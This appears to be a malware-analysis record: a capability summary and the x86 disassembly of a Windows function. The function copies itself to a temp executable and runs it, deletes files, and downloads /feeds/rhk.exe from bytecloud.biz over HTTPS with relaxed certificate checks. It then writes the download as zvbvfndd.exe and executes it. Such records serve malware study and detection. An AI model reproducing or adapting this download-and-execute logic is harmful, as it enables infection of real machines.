Function at 0x401000
Capabilities:
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Get common file path
Get file size
Get http content length
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x203c
call fcn.00401370
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, 0xffffffff
jne 0x401026
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov edi, 0x2000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
push 8
push eax
mov dword [ebp - 8], eax
call ebx
push edi
push 8
push dword [ebp - 8]
mov dword [ebp - 0x10], eax
call ebx
push edi
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp - 4]
push pe_overlay
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.zfbttcb.exe
push dword [ebp - 4]
push 0x40208c
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
jne 0x4010ac
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x18], eax
call edi
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*2 + 4]
push eax
push 8
push dword [ebp - 8]
call ebx
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x40101e
push esi
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0x18]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 4]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4011a2
push dword [ebp - 0x10]
call edi
mov ebx, dword [ebp - 0x18]
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 0x20]
add eax, ebx
cmp ecx, esi
jbe 0x40112a
mov edx, dword [ebp - 0x10]
sub edx, eax
mov dword [ebp - 8], ecx
mov cl, byte [edx + eax]
mov byte [eax], cl
inc eax
dec dword [ebp - 8]
jne 0x40111f
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4010a4
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
call edi
lea eax, [ebx + eax*2 + 4]
push eax
push dword [ebp - 0x20]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 8]
call ebx
push dword [ebp - 0x10]
push pe_overlay
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
push dword [ebp - 0x10]
push esi
push dword [ebp - 4]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
jmp 0x401020
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x3c]
push dword [ebp - 0xc]
add eax, ecx
movzx ecx, word [eax + 6]
imul ecx, ecx, 0x28
lea eax, [ecx + eax + 0xd0]
mov edi, dword [eax + 0x14]
add edi, dword [eax + 0x10]
add edi, dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xc], esi
jmp 0x4011db
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x4e20
jg 0x4011e6
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x4011cf
push esi
push esi
push esi
push esi
push str.Updates_downloader
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x4010a4
mov edi, dword [sym.imp.WININET.dll_InternetConnectW]
push esi
push esi
push 3
push esi
push esi
push 0x1bb
push str.bytecloud.biz
push eax
jmp 0x40122b
push esi
push 3
push esi
push esi
push 0x1bb
push str.bytecloud.biz
push dword [ebp - 0x18]
call edi
mov dword [ebp - 0xc], eax
push esi
cmp eax, esi
je 0x401219
mov edi, dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov dword [ebp - 0x38], str.text_
mov dword [ebp - 0x34], str.application_
mov dword [ebp - 0x30], esi
jmp 0x40124f
push esi
push 0x80803000
lea eax, [ebp - 0x38]
push eax
push esi
push esi
push str._feeds_rhk.exe
push esi
push dword [ebp - 0xc]
call edi
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40124e
push 4
pop edi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x1f
push dword [ebp - 4]
mov dword [ebp - 0x28], edi
call dword [sym.imp.WININET.dll_InternetQueryOptionW]
or dword [ebp - 0x24], 0x100
push edi
lea eax, [ebp - 0x24]
push eax
push 0x1f
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push esi
push esi
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x40129c
push esi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x20000005
push dword [ebp - 4]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
push dword [ebp - 0x1c]
push 8
push dword [ebp - 8]
call ebx
mov dword [ebp - 8], eax
cmp eax, esi
jne 0x4012f1
jmp 0x4010a4
lea ecx, [ebp - 0x14]
push ecx
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x14], eax
jb 0x4012e0
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
mov edi, str.zvbvfndd.exe
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
mov ebx, eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x14]
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x203c]
push eax
push pe_overlay
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push edi
lea eax, [ebp - 0x203c]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push esi
push esi
lea eax, [ebp - 0x203c]
push eax
jmp 0x401190